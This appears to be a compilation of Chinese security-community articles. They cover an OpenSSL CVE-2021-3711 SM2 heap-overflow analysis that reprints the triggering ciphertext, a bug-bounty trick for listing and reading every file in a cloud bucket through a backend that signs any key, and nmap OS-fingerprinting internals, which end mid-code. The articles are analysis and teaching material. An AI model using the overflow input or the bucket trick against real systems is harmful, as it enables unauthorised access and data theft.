成功了，非常酷。现在还有许多事情要处理。经过处理后，再由Simplify处理起来会更加简单，因为此时需要执行的代码更少，出错点也更少。
**七、总结**
希望阅读本文后，你对如何改造dex-oracle以适应具体需求有了更深刻的理解。如果你可以将待运行的代码细化成待运行的某个方法，这种结果会更加灵活也更加优秀。某些时候，我们需要修改Android应用以适配dex-oracle，但修改Smali是相对简单的一种方法，并且许多恶意软件会带有防篡改机制，这种情况下，你可以采用更加明智的选择。 | 社区文章 |
**作者：云鼎实验室
原文链接：<https://mp.weixin.qq.com/s/P2aduaUS3s8K7I-cDVJNgA>**
## 背景
OpenSSL是一个知名的开源安全套接字层密码库。全球成千上万的web服务器的网站加密技术使用OpenSSL。
网银、在线支付、电商网站、门户网站、电子邮件等互联网应用广泛使用OpenSSL实现数据的安全传输和安全存储。
历史上，OpenSSL多次出现安全漏洞。
2014年，OpenSSL爆出Heartbleed（心脏滴血）漏洞，网络出现了“致命内伤”。
**心脏滴血称为互联网安全历史上最严重的漏洞之一，当时全球三分之二的网站可被该漏洞攻击。**
**心脏滴血漏洞的CVE编号是CVE-2014-0160，CVSS3.1打分7.5，属于严重漏洞。**
业界使用CVE ID作为漏洞编号。CVE是通用漏洞披露（Common Vulnerabilities and Exposures）的英文缩写。
业界采用CVSS量化漏洞影响。CVSS是通用漏洞评分系统（Common Vulnerability Scoring System）的英文缩写。
CVSS得分最大为10，最小为0。得分7~10的漏洞通常认为严重，得分在4~6.9之间是中级漏洞，0~3.9是低级漏洞。
**2021年8月24日，OpenSSL发布了OpenSSL 1.1.1l，该版本修复了一个高危漏洞：CVE-2021-3711。**
**根据**
**https://access.redhat.com/security/cve/cve-2021-3711**
**该漏洞的CVSS3.1打分8.1，属于严重漏洞。**
**该漏洞影响OpenSSL 1.1.1l之前的所有包含SM2商密算法版本。业界一些基于OpenSSL改造过的商用国密算法版本也可能受该漏洞影响。**
本文结合OpenSSL公告、修复前后的OpenSSL代码和触发漏洞的sm2密文数据，分析CVE-2021-3711漏洞原理，并评估对腾讯自研国密算法库的影响。
## 漏洞分析
**根据官网披露的信息细节
https://www.openssl.org/news/secadv/20210824.txt **
**得出如下分析：**
**漏洞原因：SM2解密时分配了一块内存，解密后的结果可能大于该分配内存的容量，造成内存越界写。**
以下是具体分析，使用CVE-2021-3711漏洞修复之前的OpenSSL 1.1.1代码。
### 1、OpenSSL EVP解密操作
OpenSSL EVP将常用的密码算法进行了封装，提供统一的密码学各种函数。
**看示例图找规律，OpenSSL对密文的解密是什么样的操作？**
示例1：crypto/evp/p_open.c
示例2：crypto/crmf/crmf_lib.c
示例3：crypto/cms/cms_env.c
示例4：crypto/pkcs7/pk7_doit.c
实际应用中密文的解密一般需要调用两次EVP_PKEY_decrypt。
第一次调用EVP_PKEY_decrypt，指针out为NULL，返回长度keylen。
通过OPENSSL_malloc分配一块keylen大小的堆内存。
第二次调用EVP_PKEY_decrypt，指针out为第一次调用所分配的内存，运算结束后存放解密结果。
### 2、EVP_PKEY_decrypt实现
在初始化EVP_PKEY_CTX结构后，通过EVP_PKEY_decrypt可以调用到具体的密码算法执行解密运算。
int EVP_PKEY_decrypt(EVP_PKEY_CTX *ctx, unsigned char *out, size_t *outlen, const unsigned char *in, size_t inlen){ int ret;
...
if (ctx->op.ciph.algctx == NULL) goto legacy;
ret = ctx->op.ciph.cipher->decrypt(ctx->op.ciph.algctx, out, outlen, (out == NULL ? 0 : *outlen), in, inlen); return ret;
legacy:
...
}
### 3、pkey_sm2_decrypt实现
对于SM2解密，EVP_PKEY_decrypt中的ctx->op.ciph.cipher->decrypt对应的是pkey_sm2_decrypt。
pkey_sm2_decrypt函数位于crypto/sm2/sm2_pmeth.c。
static int pkey_sm2_decrypt(EVP_PKEY_CTX *ctx, unsigned char *out, size_t *outlen, const unsigned char *in, size_t inlen){ EC_KEY *ec = ctx->pkey->pkey.ec; SM2_PKEY_CTX *dctx = ctx->data; const EVP_MD *md = (dctx->md == NULL) ? EVP_sm3() : dctx->md;
if (out == NULL) { if (!sm2_plaintext_size(ec, md, inlen, outlen)) return -1; else return 1; }
return sm2_decrypt(ec, md, in, inlen, out, outlen);}
根据第一节OpenSSL EVP解密操作可知，第一次调用EVP_PKEY_decrypt函数时，指针out为NULL，返回长度作为接下来分配堆内存的大小。
这里sm2_plaintext_size函数返回outlen，作为接下来分配堆内存的大小。
### 4、sm2_plaintext_size实现
sm2_plaintext_size函数位于crypto/sm2/sm2_crypt.c
int sm2_plaintext_size(const EC_KEY *key, const EVP_MD *digest, size_t msg_len, size_t *pt_size){ const size_t field_size = ec_field_size(EC_KEY_get0_group(key)); const int md_size = EVP_MD_size(digest); size_t overhead;
if (md_size < 0) { SM2err(SM2_F_SM2_PLAINTEXT_SIZE, SM2_R_INVALID_DIGEST); return 0; } if (field_size == 0) { SM2err(SM2_F_SM2_PLAINTEXT_SIZE, SM2_R_INVALID_FIELD); return 0; }
overhead = 10 + 2 * field_size + (size_t)md_size; if (msg_len <= overhead) { SM2err(SM2_F_SM2_PLAINTEXT_SIZE, SM2_R_INVALID_ENCODING); return 0; }
*pt_size = msg_len - overhead; return 1;}
**注意：返回的长度等于msg_len - overhead，而overhead = 10 + 2 *
field_size+(size_t)md_size。**
### 5、overhead存在的问题
#### sm2国密算法知识
关于overhead的设置，涉及SM2算法和SM2密文格式的知识，在此进行补充。
1. SM2（SM是“商密”拼音的缩写）是我国商用密码的公钥密码标准，标准号为：GM/T 0003-2012。
2. SM2标准中规定采用256比特的椭圆曲线域参数。
3. SM2算法采用SM3算法作为算法步骤中的哈希算法，SM3算法的输出是256比特的哈希值。
4. 根据GM/T 0009-2012，SM2密文格式如下：
这里，XCoordinate和YCoordinate是加密过程基于随机数计算出的椭圆曲线点的X坐标和Y坐标。
#### overhead取值分析
查看sm2_plaintext_size函数：
1. field_size = ec_field_size(EC_KEY_get0_group(key))，对于SM2算法，field_size等于32。
2. md_size = EVP_MD_size(digest)，SM2算法采用SM3算法，因此md_size等于32。
从上述2点可知，sm2_plaintext_size函数中的overhead取值等于106（10+2*32+32）。
**这里的magic number 10背后有什么含义呢？**
1. 对于SM2密文，ASN.1包括5个Tag和5个Length，ASN.1编码引入的长度不小于10个字节。分析如下： 每个Tag占1个字节，5个Tag占5个字节。 XCoordinate、YCoordinate和HASH由于值的长度范围相对固定，这3个Length占3个字节。 取决于CipherText值，CipherText和第一个tag后面的Length长度不定，这2个Length可能超过 2个字节。
2. 这里overhead选择10，是选择SM2密文ASN.1编码引入的长度的最小值。
返回的长度等于msg_len - overhead， **若overhead取值小，则返回长度大，分配内存大于实际需要，不会溢出。**
**这里的field_size没有考虑XCoordinate和YCoordinate的具体取值，有没有风险？**
1）XCoordinate和YCoordinate是加密过程基于随机数计算出的椭圆曲线点的X坐标和Y坐标，满足以下方程：
YCoordinate * YCoordinate ≡ XCoordinate * XCoordinate * XCoordinate - 3 *
XCoordinate + b（mod p）
这里，≡表示方程的左右两边模p的结果相等，p和b是SM2国密标准中规定的常数。
2）满足上述方程的XCoordinate和YCoordinate通常都是占32字节的大数。
3）如果密文中携带的XCoordinate占31字节，YCoordinate占32字节，则真实的overhead可能小于106。
此时使用msg_len - 106的结果去会分配空间，导致分配的空间小于解密后的结果，内存越界写。
**4）存在满足上述方程的占31字节甚至更少的XCoordinate或YCoordinate吗？**
**OpenSSL给出的SM2密文数据示例给出了肯定的回答。**
## 触发漏洞的数据示例
### 1、SM2密文数据
OpenSSL给出的密文数据示例如下：
3072022070DAD60CDA7C30D64CF4F278A849003581223F5324BFEC9BB329229BFFAD21A6021F18AFAB2B35459D2643243B242BE4EA80C6FA5071D2D847340CC57EB9309E5D04200B772E4DB664B2601E3B85E39C4AA8C2C1910308BE13B331E009C5A9258C29FD040B6D588BE9260A94DA18E0E6
### 2、解析SM2密文
这组密文的长度是116字节。按照ASN.1格式解析这组密文：
3072 //30表示SEQUENCE类型，72表示后续的数据总长度是114字节
0220 //02表示INTEGER类型，20表示该整数的长度是32字节
70DAD60CDA7C30D64CF4F278A849003581223F5324BFEC9BB329229BFFAD21A6
//32字节的XCoordinate
021F //02表示INTEGER类型，1F表示该整数的长度是31字节
18AFAB2B35459D2643243B242BE4EA80C6FA5071D2D847340CC57EB9309E5D //
**31字节的YCoordinate**
0420 //04表示OCTETSTRING类型，20表示该字符串的长度是32字节
0B772E4DB664B2601E3B85E39C4AA8C2C1910308BE13B331E009C5A9258C29FD //32字节的HASH
040B //04表示OCTETSTRING类型，0B表示该字符串的长度是11字节
6D588BE9260A94DA18E0E6 // **11字节的密文**
经过验证，上述的XCoordinate和YCoordinate满足SM2椭圆曲线方程。
### 3、触发堆溢出
1. 第一次调用pkey_sm2_decrypt，指针out为NULL，msg_len等于116。 sm2_plaintext_size函数返回10（msg_len - overhead = 116 - 106）。
2. 通过OPENSSL_malloc分配10字节的内存，out指向该内存。
3. 第二次调用pkey_sm2_decrypt，由于密文有11字节，因此解密结果也是11字节。
out指向的内存是10字节，而解密结果是11字节，导致越界写1字节。
## 腾讯自研国密库不受该漏洞影响
近年来，国家积极推进国产密码基础设施的建设，推广与应用。
为贯彻落实国家密码战略，推进公司产品信息安全，腾讯自研了TencentSM国密算法库，摆脱对国外开源密码算法库的依赖。
TencentSM符合国密SM2、SM3以及SM4算法标准，已在腾讯多个业务中平稳运行。
**TencentSM自研了SM2解密实现，未使用和参考OpenSSL该部分所对应的代码，不受该漏洞影响。**
* * * | 社区文章 |
# 分享几个比较有意思的储存桶测试案例
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在挖某src的时候发现的一个比较有意思的案例，通过一系列简单的操作，可以遍历全桶的文件。
## 发现点
在找资产的过程中找到了一个业务，发现一个可以上传的功能点。有个添加货物功能，里面有个图片上传，是上传到桶里的。
请求中隐去无关参数，关键参数是good_image，里面是一个key（图片的“路径”）。
然后再去获取这个对应的货物详情，发现返回的图片地址已经在后台给你签了名了。
直觉告诉我，这里有个问题，可以继续深入。
## 深入
既然后台会去给我传入的图片签名，那么可以测试的点来了，我如果输入的图片不是真实的key，直接是根目录呢？
再获取一下对应的详情，惊喜来了，根目录直接签名了。
直接访问已经能列出桶里面的文件了。
可以直接根据里面的key，再重复修改上面的good_image，让后台进行签名，来读取桶里的任意文件。
为了获取更多的文件，这里用到桶的两个参数。不同的厂商的可能有区别，这里是阿里的。
一个参数是max-keys，它定义了在一次请求内OSS返回文件和文件夹最大的数目，默认值是100，最大可以设成1000。当一个文件夹内有超过1000个文件时，可以利用另一个参数——marker。这个参数告诉OSS从指定的文件开始，按照字典序查其后面的文件。
直接看实例。
## 总结
这里只是关于桶的一个比较少见的玩法。常见的桶的玩法也就那么几种，要么遍历，要么劫持，要么密钥泄露，要么上传问题。
碰到的时候，一定要细细的测，再不济一个中危还是有的。 | 社区文章 |
近期对nmap的`操作系统识别`功能造了个轮子，用golang实现了一遍，想未来能用于扫描器，资产发现/管理系统，网络空间引擎中。
造轮子也是一次深入理解它原理的过程，造完轮子后感觉到所有代码尽在我掌握之中，之后大规模扫描测试就可以
以最有效率，发最小包，绕过防火墙的方式进行集成，也能轻易的进行扩展。
成果图，实现了对一个主机在5s内能够识别出其操作系统，能预测开机时间(部分系统有误差),用无状态扫描技术去识别大量主机的操作系统时，平均时间会更低。
造轮子其实是非常不容易的，虽然nmap是开源项目，但与操作系统识别有关的代码就超过6000行，nmap官网有文档专门有一节讲述了nmap操作系统指纹的技术实现
<https://nmap.org/book/osdetect.html> ，它们都不太容易看懂，我是文档和源码交互着看了几十遍才大概明白整个流程。
## 基本原理
> Nmap OS 指纹识别通过向目标机器的Open和Close 端口 发送多达 16 个 TCP、UDP 和 ICMP 探针来工作
其中 TCP探针13个，UDP探针 1 个，ICMP探针2个。
这些探针是根据RFC协议 中的各种歧义来设计的。然后 Nmap 监听响应。分析响应中的数十个属性以生成`124`
个指纹，并和nmap[内置的指纹库](https://raw.githubusercontent.com/nmap/nmap/master/nmap-os-db "内置的指纹库")进行对比。
nmap对操作系统识别的代码大多集中在 `osscan.cc` `osscan2.cc`中。
* osscan.cc：主要负责os指纹的解析、对比函数，可直接看如下的函数定义。
/* Parses a single fingerprint from the memory region given. If a
non-null fingerprint is returned, the user is in charge of freeing it
when done. This function does not require the fingerprint to be 100%
complete since it is used by scripts such as scripts/fingerwatch for
which some partial fingerprints are OK. */
FingerPrint *parse_single_fingerprint(const char *fprint_orig);
/* These functions take a file/db name and open+parse it, returning an
(allocated) FingerPrintDB containing the results. They exit with
an error message in the case of error. */
FingerPrintDB *parse_fingerprint_file(const char *fname);
/* Compares 2 fingerprints -- a referenceFP (can have expression
attributes) with an observed fingerprint (no expressions). If
verbose is nonzero, differences will be printed. The comparison
accuracy (between 0 and 1) is returned). MatchPoints is
a special "fingerprints" which tells how many points each test is worth. */
double compare_fingerprints(const FingerPrint *referenceFP, const FingerPrint *observedFP,
const FingerPrintDef *MatchPoints, int verbose);
* osscan2.cc：主要负责发送探针以及根据返回内容生成指纹，下面是定义的一些主要函数，send开头为相关探针的发送函数，process为中间处理指纹函数，make为最终生成指纹函数。
/* Probe send functions. */
void sendTSeqProbe(HostOsScanStats *hss, int probeNo);
void sendTOpsProbe(HostOsScanStats *hss, int probeNo);
void sendTEcnProbe(HostOsScanStats *hss);
void sendT1_7Probe(HostOsScanStats *hss, int probeNo);
void sendTUdpProbe(HostOsScanStats *hss, int probeNo);
void sendTIcmpProbe(HostOsScanStats *hss, int probeNo);
/* Response process functions. */
bool processTSeqResp(HostOsScanStats *hss, const struct ip *ip, int replyNo);
bool processTOpsResp(HostOsScanStats *hss, const struct tcp_hdr *tcp, int replyNo);
bool processTWinResp(HostOsScanStats *hss, const struct tcp_hdr *tcp, int replyNo);
bool processTEcnResp(HostOsScanStats *hss, const struct ip *ip);
bool processT1_7Resp(HostOsScanStats *hss, const struct ip *ip, int replyNo);
bool processTUdpResp(HostOsScanStats *hss, const struct ip *ip);
bool processTIcmpResp(HostOsScanStats *hss, const struct ip *ip, int replyNo);
/* Generic sending functions used by the above probe functions. */
int send_tcp_probe(HostOsScanStats *hss,
int ttl, bool df, u8* ipopt, int ipoptlen,
u16 sport, u16 dport, u32 seq, u32 ack,
u8 reserved, u8 flags, u16 window, u16 urp,
u8 *options, int optlen,
char *data, u16 datalen);
int send_icmp_echo_probe(HostOsScanStats *hss,
u8 tos, bool df, u8 pcode,
unsigned short id, u16 seq, u16 datalen);
int send_closedudp_probe(HostOsScanStats *hss,
int ttl, u16 sport, u16 dport);
void makeTSeqFP(HostOsScanStats *hss);
void makeTOpsFP(HostOsScanStats *hss);
void makeTWinFP(HostOsScanStats *hss);
nmap将指纹分为以下几类
* SEQ：基于探针进行序列分析的指纹结果
* OPS：基于探针接受到的TCP选项
* WIN：基于探针接受到的响应窗口大小 (TCP Windows Size)
* T系列：基于探针响应的TCP数据包各种测试值的结果
* ECN：ECN探针返回结果
ECN 是一种通过允许路由器在开始不得不丢弃数据包之前发出拥塞问题信号来提高 Internet 性能的方法。它记录在[RFC
3168中](http://www.rfc-editor.org/rfc/rfc3168.txt "RFC 3168中").
当生成许多包通过路由器时会导致其负载变大，这称之为拥塞。其结果就是系统会变慢以降低拥堵，以便路由器不会发生丢包。这个包仅为了得到目标系统的响应而发送。因为不同的操作系统以不同的方式处理这个包，所以返回的特定值可以用来判断操作系统。
* IE：ICMP响应的数据包测试值结果
* U1：UDP响应的数据包测试值结果
nmap OS探测时，会向目标主机的一个Open状态TCP端口，一个Close状态TCP端口，一个关闭的UDP端口 发送数据包，以及一个ICMP数据包。
nmap发包函数是`os_scan_ipv4`,可以通过源码看发包流程
/* Performs the OS detection for IPv4 hosts. This method should not be called
* directly. os_scan() should be used instead, as it handles chunking so
* you don't do too many targets in parallel */
int OSScan::os_scan_ipv4(std::vector<Target *> &Targets) {
...
/* Initialize the pcap session handler in HOS */
begin_sniffer(&HOS, Targets);
...
// 准备测试，删除旧信息，初始化变量
startRound(&OSI, &HOS, itry);
// 执行顺序产生测试（发送6个TCP探测包，每隔100ms一个）
doSeqTests(&OSI, &HOS);
// 执行TCP、UDP、ICMP探测包测试
doTUITests(&OSI, &HOS);
// 对结果做指纹对比，获取OS扫描信息
endRound(&OSI, &HOS, itry);
// 将超时未匹配的主机移动
expireUnmatchedHosts(&OSI, &unMatchedHosts);
}
## TCP探针
TCP将发送13个数据包，这些数据包分为三类，一类是对tcp option的测试，一类是对tcp/ip 其他字段的测试，最后是ECN测试。
可以直接看nmap构造tcp option数据包源码
/* 8 options:
* 0~5: six options for SEQ/OPS/WIN/T1 probes.
* 6: ECN probe.
* 7-12: T2~T7 probes.
*
* option 0: WScale (10), Nop, MSS (1460), Timestamp, SackP
* option 1: MSS (1400), WScale (0), SackP, T(0xFFFFFFFF,0x0), EOL
* option 2: T(0xFFFFFFFF, 0x0), Nop, Nop, WScale (5), Nop, MSS (640)
* option 3: SackP, T(0xFFFFFFFF,0x0), WScale (10), EOL
* option 4: MSS (536), SackP, T(0xFFFFFFFF,0x0), WScale (10), EOL
* option 5: MSS (265), SackP, T(0xFFFFFFFF,0x0)
* option 6: WScale (10), Nop, MSS (1460), SackP, Nop, Nop
* option 7-11: WScale (10), Nop, MSS (265), T(0xFFFFFFFF,0x0), SackP
* option 12: WScale (15), Nop, MSS (265), T(0xFFFFFFFF,0x0), SackP
*/
static struct {
u8* val;
int len;
} prbOpts[] = {
{(u8*) "\x03\x03\x0A\x01\x02\x04\x05\xb4\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x04\x02", 20},
{(u8*) "\x02\x04\x05\x78\x03\x03\x00\x04\x02\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x00", 20},
{(u8*) "\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x01\x01\x03\x03\x05\x01\x02\x04\x02\x80", 20},
{(u8*) "\x04\x02\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x03\x03\x0A\x00", 16},
{(u8*) "\x02\x04\x02\x18\x04\x02\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x03\x03\x0A\x00", 20},
{(u8*) "\x02\x04\x01\x09\x04\x02\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00", 16},
{(u8*) "\x03\x03\x0A\x01\x02\x04\x05\xb4\x04\x02\x01\x01", 12},
{(u8*) "\x03\x03\x0A\x01\x02\x04\x01\x09\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x04\x02", 20},
{(u8*) "\x03\x03\x0A\x01\x02\x04\x01\x09\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x04\x02", 20},
{(u8*) "\x03\x03\x0A\x01\x02\x04\x01\x09\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x04\x02", 20},
{(u8*) "\x03\x03\x0A\x01\x02\x04\x01\x09\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x04\x02", 20},
{(u8*) "\x03\x03\x0A\x01\x02\x04\x01\x09\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x04\x02", 20},
{(u8*) "\x03\x03\x0f\x01\x02\x04\x01\x09\x08\x0A\xff\xff\xff\xff\x00\x00\x00\x00\x04\x02", 20}
};
发包每次的TCP Windows窗口大小也不一样
/* TCP Window sizes. Numbering is the same as for prbOpts[] */
u16 prbWindowSz[] = { 1, 63, 4, 4, 16, 512, 3, 128, 256, 1024, 31337, 32768, 65535 };
前六个数据包为 SEQ/OPS/WIN/T1 探针，第7个为ECN探针，后面的是T探针。
SEQ/OPS/WIN探针发SYN包，ECN探针发
`TH_CWR|TH_ECE|TH_SYN`，`Urgent`为63477，T探针发包flag如下，发包端口前四个为开放的tcp端口，后三个为关闭的TCP端口。
如果nmap未找到关闭的TCP端口，将随机取值
closedTCPPort = (get_random_uint() % 14781) + 30000;
T | flag | Dst Port
---|---|---
T1 | TH_SYN | openTCPPort
T2 | 0 | openTCPPort
T3 | TH_SYN\ | TH_FIN\ | TH_URG\ | TH_PUSH | openTCPPort
T4 | TH_ACK | openTCPPort
T5 | TH_SYN | closedTCPPort
T6 | TH_ACK | closedTCPPort
T7 | TH_FIN\ | TH_PUSH\ | TH_URG | closedTCPPort
## ICMP探针
发送两个 ICMP 探针。
第一个设置 IP协议 DF 位，TOS 为零，ICMP Code字段为 9（即`ICMPv4CodeNetAdminProhibited`），Seq为
295，payload 120 字节的 `0x00`。
第二个 探针类似ping 查询，除了 TOS设置为`IP_TOS_RELIABILITY`，ICMP Code为0(ICMPv4CodeNet)，发送
150 字节的数据。
## UDP探针
向一个关闭的UDP端口发包，IP协议的ID设置为`0x1042`,payload为300字节的`0x43`
如果nmap未找到关闭的UDP端口，将随机取值
closedUDPPort = (get_random_uint() % 14781) + 30000;
## 指纹生成
这是造轮子过程中最麻烦的部分，需要将这些指纹结果一一实现。
#### TCP ISN 最大公约数 ( `GCD`)
tcp前六个探测包中，tcp seq数值的差值作为一个数组，这个数组及有5个元素。取这个数组的最大公约数。
#### TCP ISN 计数器速率 ( `ISR`)
取探针返回包 SEQ的差 除以 发送时间的毫秒差 即 SEQ的发送速率，再得出探针每个速率的平均值即seq_rate，最后通过一个公式得出最后的值即ISR。
seq_rate = log(seq_rate) / log(2.0);
seq_rate = (unsigned int) (seq_rate * 8 + 0.5);
#### TCP ISN 序列可预测性指数 ( `SP`)
代码和文档都难懂，弄一个简化版的代码就看懂了
seq_stddev = 0
for i =0;i<responseNum -1;i++{
seq_stddev += （（SEQ[i]的发送速率 - SEQ平均速率） / GCD 最大公约数）的平方
}
seq_stddev /= responseNum-2
seq_stddev = sqrt(seq_stddev);
seq_stddev = log(seq_stddev) / log(2.0);
sp = (int) (seq_stddev * 8 + 0.5);
以我仅学过的线性代数，这个可以弄成一个公式的，但是我不会在markdown上展示，算了~
#### IP ID序列生成算法( `TI`, `CI`, `II`)
从TCP Open端口，Tcp Close端口，ICMP协议中，计算ip id的生成算法
1. 如果所有 ID 号均为零，则测试值为`Z`。
2. 如果 IP ID 序列至少增加 20,000，则该值为`RD`（随机）。这个结果是不可能的，`II`因为没有足够的样本来支持它。
3. 如果所有 IP ID 都相同，则测试设置为该十六进制值。
4. 如果两个连续 ID 之间的任何差异超过 1,000，并且不能被 256 整除，则测试的值为 `RI`（随机正增量）。如果差异可以被 256 整除，则它必须至少为 256,000 才能导致此 `RI`结果。
5. 如果所有差异都可以被 256 整除且不大于 5,120，则测试设置为`BI`（中断增量）。 这种情况发生在 Microsoft Windows 等系统上，其中 IP ID 以主机字节顺序而不是网络字节顺序发送。它工作正常并且没有任何类型的 RFC 违规，尽管它确实泄露了对攻击者有用的主机架构细节。
6. 如果所有差异都小于十，则该值为`I`（增量）。我们在这里允许最多 10 个差异（而不是要求按顺序排列），因为来自其他主机的流量会导致序列间隙。
7. 如果前面的步骤都没有识别生成算法，则从指纹中省略测试。
#### 共享 IP ID 序列布尔值 ( `SS`)
根据前面推测出的IP ID增长方式，记录目标是否在 TCP 和 ICMP 协议之间共享其 IP ID 序列。
/* SS: Shared IP ID sequence boolean */
if ((tcp_ipid_seqclass == IPID_SEQ_INCR ||
tcp_ipid_seqclass == IPID_SEQ_BROKEN_INCR ||
tcp_ipid_seqclass == IPID_SEQ_RPI) &&
(icmp_ipid_seqclass == IPID_SEQ_INCR ||
icmp_ipid_seqclass == IPID_SEQ_BROKEN_INCR ||
icmp_ipid_seqclass == IPID_SEQ_RPI)) {
/* Both are incremental. Thus we have "SS" test. Check if they
are in the same sequence. */
u32 avg = (hss->ipid.tcp_ipids[good_tcp_ipid_num - 1] - hss->ipid.tcp_ipids[0]) / (good_tcp_ipid_num - 1);
if (hss->ipid.icmp_ipids[0] < hss->ipid.tcp_ipids[good_tcp_ipid_num - 1] + 3 * avg) {
test.setAVal("SS", "S");
} else {
test.setAVal("SS", "O");
}
}
#### TCP 时间戳选项算法 ( `TS`)
这个能预测出开机时间！
`TS`是另一个测试，它试图 根据它如何生成一系列数字来确定目标操作系统的特征。这个查看响应`SEQ`探测的 TCP 时间戳选项（如果有）。它检查
TSval（选项的前四个字节）而不是回显的 TSecr（最后四个字节）值。它采用每个连续 TSval 之间的差异，并将其除以 Nmap
发送生成这些响应的两个探测器之间经过的时间量。
结果值给出了每秒时间戳增量的速率。Nmap 计算所有连续探测的平均每秒增量，然后计算`TS`如下：
1. 如果任何响应没有时间戳选项，`TS`则设置为`U`（不支持）。
2. 如果任何时间戳值为零，`TS`则设置为`0`。
3. 如果每秒平均增量在、 或 范围内`0-5.66`，则分别设置为 1、7 或 8。这三个范围得到特殊处理，因为它们对应于许多主机使用的 2 Hz、100 Hz 和 200 Hz 频率。`70-150``150-350``TS`
4. 在所有其他情况下，Nmap 记录每秒平均增量的二进制对数，四舍五入到最接近的整数。由于大多数主机使用 1,000 Hz 频率， `A`这是一个常见的结果。
这个结果可以推断出开机时间
/* Now we look at TCP Timestamp sequence prediction */
/* Battle plan:
1) Compute average increments per second, and variance in incr. per second
2) If any are 0, set to constant
3) If variance is high, set to random incr. [ skip for now ]
4) if ~10/second, set to appropriate thing
5) Same with ~100/sec
*/
if (hss->si.ts_seqclass == TS_SEQ_UNKNOWN && hss->si.responses >= 2) {
time_t uptime = 0;
avg_ts_hz = 0.0;
for (i = 0; i < hss->si.responses - 1; i++) {
double dhz;
dhz = (double) ts_diffs[i] / (time_usec_diffs[i] / 1000000.0);
/* printf("ts incremented by %d in %li usec -- %fHZ\n", ts_diffs[i], time_usec_diffs[i], dhz); */
avg_ts_hz += dhz / (hss->si.responses - 1);
}
if (avg_ts_hz > 0 && avg_ts_hz < 5.66) { /* relatively wide range because sampling time so short and frequency so slow */
hss->si.ts_seqclass = TS_SEQ_2HZ;
uptime = hss->si.timestamps[0] / 2;
}
else if (avg_ts_hz > 70 && avg_ts_hz < 150) {
hss->si.ts_seqclass = TS_SEQ_100HZ;
uptime = hss->si.timestamps[0] / 100;
}
else if (avg_ts_hz > 724 && avg_ts_hz < 1448) {
hss->si.ts_seqclass = TS_SEQ_1000HZ;
uptime = hss->si.timestamps[0] / 1000;
}
else if (avg_ts_hz > 0) {
hss->si.ts_seqclass = TS_SEQ_OTHER_NUM;
uptime = hss->si.timestamps[0] / (unsigned int)(0.5 + avg_ts_hz);
}
if (uptime > 63072000) {
/* Up 2 years? Perhaps, but they're probably lying. */
if (o.debugging) {
/* long long is probably excessive for number of days, but sick of
* truncation warnings and finding the right format string for time_t
*/
log_write(LOG_STDOUT, "Ignoring claimed %s uptime of %lld days\n",
hss->target->targetipstr(), (long long) (uptime / 86400));
}
uptime = 0;
}
hss->si.lastboot = hss->seq_send_times[0].tv_sec - uptime;
}
switch (hss->si.ts_seqclass) {
case TS_SEQ_ZERO:
test.setAVal("TS", "0");
break;
case TS_SEQ_2HZ:
case TS_SEQ_100HZ:
case TS_SEQ_1000HZ:
case TS_SEQ_OTHER_NUM:
/* Here we "cheat" a little to make the classes correspond more
closely to common real-life frequencies (particularly 100)
which aren't powers of two. */
if (avg_ts_hz <= 5.66) {
/* 1 would normally range from 1.4 - 2.82, but we expand that
to 0 - 5.66, so we won't ever even get a value of 2. Needs
to be wide because our test is so fast that it is hard to
match slow frequencies exactly. */
tsnewval = 1;
} else if (avg_ts_hz > 70 && avg_ts_hz <= 150) {
/* mathematically 7 would be 90.51 - 181, but we change to 70-150 to
better align with common freq 100 */
tsnewval = 7;
} else if (avg_ts_hz > 150 && avg_ts_hz <= 350) {
/* would normally be 181 - 362. Now aligns better with 200 */
tsnewval = 8;
} else {
/* Do a log base2 rounded to nearest int */
tsnewval = (unsigned int)(0.5 + log(avg_ts_hz) / log(2.0));
}
test.setAVal("TS", hss->target->FPR->cp_hex(tsnewval));
break;
case TS_SEQ_UNSUPPORTED:
test.setAVal("TS", "U");
break;
}
#### TCP 选项 ( `O`, `O1–O6`)
TCP 数据包的Options。指纹保留了原始顺序，以及选项的值。有些操作系统没有实现这些选项或者实现不全。
Option Name | Character | Argument (if any)
---|---|---
End of Options List (EOL) | L |
No operation (NOP) | N |
Maximum Segment Size (MSS) | M | The value is appended. Many systems echo the
value used in the corresponding probe.
Window Scale (WS) | W | The actual value is appended.
Timestamp (TS) | T | The T is followed by two binary characters representing
the TSval and TSecr values respectively. The characters are 0 if the field is
zero and 1 otherwise.
Selective ACK permitted (SACK) | S
int HostOsScan::get_tcpopt_string(const struct tcp_hdr *tcp, int mss, char *result, int maxlen) const {
char *p;
const char *q;
u16 tmpshort;
u32 tmpword;
int length;
int opcode;
p = result;
length = (tcp->th_off * 4) - sizeof(struct tcp_hdr);
q = ((char *)tcp) + sizeof(struct tcp_hdr);
/*
* Example parsed result: M5B4ST11NW2
* MSS, Sack Permitted, Timestamp with both value not zero, Nop, WScale with value 2
*/
/* Be aware of the max increment value for p in parsing,
* now is 5 = strlen("Mxxxx") <-> MSS Option
*/
while (length > 0 && (p - result) < (maxlen - 5)) {
opcode = *q++;
if (!opcode) { /* End of List */
*p++ = 'L';
length--;
} else if (opcode == 1) { /* No Op */
*p++ = 'N';
length--;
} else if (opcode == 2) { /* MSS */
if (length < 4)
break; /* MSS has 4 bytes */
*p++ = 'M';
q++;
memcpy(&tmpshort, q, 2);
/* if (ntohs(tmpshort) == mss) */
/* *p++ = 'E'; */
sprintf(p, "%hX", ntohs(tmpshort));
p += strlen(p); /* max movement of p is 4 (0xFFFF) */
q += 2;
length -= 4;
} else if (opcode == 3) { /* Window Scale */
if (length < 3)
break; /* Window Scale option has 3 bytes */
*p++ = 'W';
q++;
snprintf(p, length, "%hhX", *((u8*)q));
p += strlen(p); /* max movement of p is 2 (max WScale value is 0xFF) */
q++;
length -= 3;
} else if (opcode == 4) { /* SACK permitted */
if (length < 2)
break; /* SACK permitted option has 2 bytes */
